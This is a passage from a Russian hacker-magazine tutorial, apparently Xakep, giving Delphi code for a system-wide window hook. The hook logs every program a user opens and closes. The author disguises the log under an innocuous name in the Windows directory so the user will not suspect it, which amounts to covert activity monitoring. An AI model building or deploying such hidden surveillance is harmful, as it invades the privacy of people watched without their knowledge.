Мониторинг запускных файлов
Xakep, номер #046, стр. 046-072-2 str:String; begin Result := CallNextHookEx(SysHook, Code, wParam, lParam); case code of HCBT_CREATEWND: begin Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName; if Str='' then exit; if TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent<>0 then exit; Wnd := wParam; GetWindowText(Wnd, windtext, 255); SaveToLog(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '#OPEN#'+windtext+ '#'+ TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+ '#'+IntToStr(Wnd)); end; HCBT_DESTROYWND: begin Str:=''; Wnd := wParam; if Wnd<>0 then GetWindowText(Wnd, windtext, 255); str:=windtext; if windtext='' then exit; if Str='' then exit; SaveToLog(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '#CLOSE#'+Str+'#'+IntToStr(Wnd)); end; end; end; Первая строка уже должна быть тебе знакома. Затем идет проверка переменной code, которую мы получили в качестве первого параметра в функции SysMsgProc. В этом параметре хранится тип пойманного сообщения. Если он равен HCBT_CREATEWND, значит только что было создано новое окно. Имя окна мы можем определить по последнему полученному параметру вот таким образом: TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName. Я проверяю, если оно пустое, то мне нет смысла связываться с этим окном. Затем я проверяю, является ли это окно главным. Если следующая конструкция не равна нулю, значит это дочернее окно: TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent С дочерними окнами я тоже не хочу связываться, потому что это чаще всего простые диалоговые окна, которые показывают разные программы. Меня интересует только запуск новых программ, поэтому такую ерунду я буду игнорировать. Далее я вызываю функцию GetWindowText(Wnd, windtext, 255), чтобы получить заголовок окна. После этого всю полученную информацию форматирую в строку и сохраняю в log файл с помощью вызова процедуры SaveToLog (эту процедуру ты увидишь чуть ниже). Код по событию HCBT_DESTROYWND (окно разрушено) идентичен тому, что написан на создание окна. Здесь я точно так же определяю заголовок разрушаемого окна и сохраняю все в log файл. Единственное, что я тут не делаю, - нет проверки на главное окно. То есть разрушаемые окна будут сохраняться в log файл абсолютно все. Это не есть хорошо, и можешь добавить проверку. Я же этого уже не стал делать в целях экономии места в твоем любимом ][. Запись log файла Лог файл я назвал scanbisk.log (чтобы не сильно вызывал подозрения у ламера) и буду создавать в системной директории Windows. procedure SaveToLog(Str:String); var f: TextFile; Filedir:String; windir: array [0..255] of char; begin //Получаем директорию, где живет Windows GetWindowsDirectory(windir, 255); Filedir:=windir+'\scanbisk.log'; //Соединяюсь с log файлом AssignFile(f, Filedir); //Если он не существовал, то создаю if not FileExists(Filedir) then begin //Создать и сразу закрываю файл Rewrite(f); CloseFile(f); end; //Открываю файл Append(f); //Записываю строку Writeln(f, Str); //Закрываю log файл Flush(f); CloseFile(f); |